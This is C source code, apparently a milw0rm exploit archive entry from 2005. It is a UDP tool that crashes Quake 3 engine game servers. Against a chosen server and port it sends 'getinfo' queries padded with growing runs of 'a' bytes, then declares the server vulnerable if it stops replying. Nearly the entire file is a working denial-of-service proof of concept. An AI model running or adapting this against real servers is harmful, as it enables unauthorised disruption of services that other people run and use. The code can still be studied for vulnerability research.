/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

/* Added above winerr.h /str0ke ! milw0rm.com*/
    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      2048
#define TIMEOUT     3
#define INFO        "\xff\xff\xff\xff" "getstatus\n"
#define GETINFO     "\xff\xff\xff\xff" "getinfo "
#define GETINFOSZ   (sizeof(GETINFO) - 1)

#define SEND(x,y)   if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
                      < 0) std_err();
#define RECV        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();
#define RECVT       if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply received\n\n", stdout); \
                        exit(1); \
                    } \
                    RECV;



void showinfo(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            i,
            len,
            slen,
            from  = 700,
            to    = BUFFSZ - GETINFOSZ,
            jumps = 1,
            sent  = 0;
    u_short port;
    u_char  bof[BUFFSZ + 1],
            buff[BUFFSZ + 1],
            *p;


    setbuf(stdout, NULL);

    fputs("\n"
        "Quake 3 engine infostring crash/shutdown scanner "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s [options] <server> <port>\n"
            "\n"
            "Options:\n"
            "-f FROM   start the scan from byte FROM (default %d)\n"
            "-t TO     finish the scan at byte TO (default %d)\n"
            "-j JUMPS  the number of bytes to increment for each scan.\n"
            "          Default value is %d, meaning that if the scan starts from %d it will\n"
            "          send getinfo followed by %d bytes, then %d, %d, %d and so on until %d\n"
            "\n", argv[0],
            from,
            to,
            jumps, from,
            from, from + jumps, from + (jumps * 2), from + (jumps * 3), to);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    argc -= 2;
    for(i = 1; i < argc; i++) {
        switch(argv[i][1]) {
            case 'f': from  = atoi(argv[++i]); break;
            case 't': to    = atoi(argv[++i]); break;
            case 'j': jumps = atoi(argv[++i]); break;
            default: {
                printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
                exit(1);
                }
        }
    }

    port = atoi(argv[argc + 1]);
    peer.sin_addr.s_addr = resolv(argv[argc]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("- request informations:\n", stdout);
    SEND(INFO, sizeof(INFO) - 1);
    RECVT;
    buff[len] = 0x00;
    showinfo(buff);

    fputs("- getinfo crash/shutdown scan:\n\n", stdout);
    memcpy(bof, GETINFO, GETINFOSZ);
    p = bof + GETINFOSZ;

    if(from > to) from = to;
    for(i = 0; i < from; i++) *p++ = 'a';
    slen = p - bof;

    for(;;) {
        printf("  packet length:   %d\r", slen);

        SEND(bof, slen);
        sent++;
        if(timeout(sd) < 0) break;
        RECV;

        slen += jumps;
        if((slen - GETINFOSZ) > to) {
            slen -= jumps;
            break;
        } else if(slen > BUFFSZ) {
            printf("\n\n- max local buffer size (%d) reached", BUFFSZ);
            slen -= jumps;
            break;
        }
        for(i = 0; i < jumps; i++) *p++ = 'a';
    }

    if(!sent) {
        fputs("\n\nError: recheck your options because I have sent no packets, probably you have chosen too big values\n\n", stdout);
        close(sd);
        exit(1);
    }

    printf("\n\n- last UDP packet sent was %d bytes (jumps = %d)",
        slen, slen - GETINFOSZ);

    fputs("\n- check server:\n", stdout);
    SEND(INFO, sizeof(INFO) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
    close(sd);
    return(0);
}



void showinfo(u_char *data) {
    int     nt = 1;
    u_char  *p;

    while((p = strchr(data, '\\'))) {
        *p = 0x00;
        if(!nt) {
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%s\n", data);
            nt = 0;
        }
        data = p + 1;
    }
    printf("%s\n", data);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-02-12]
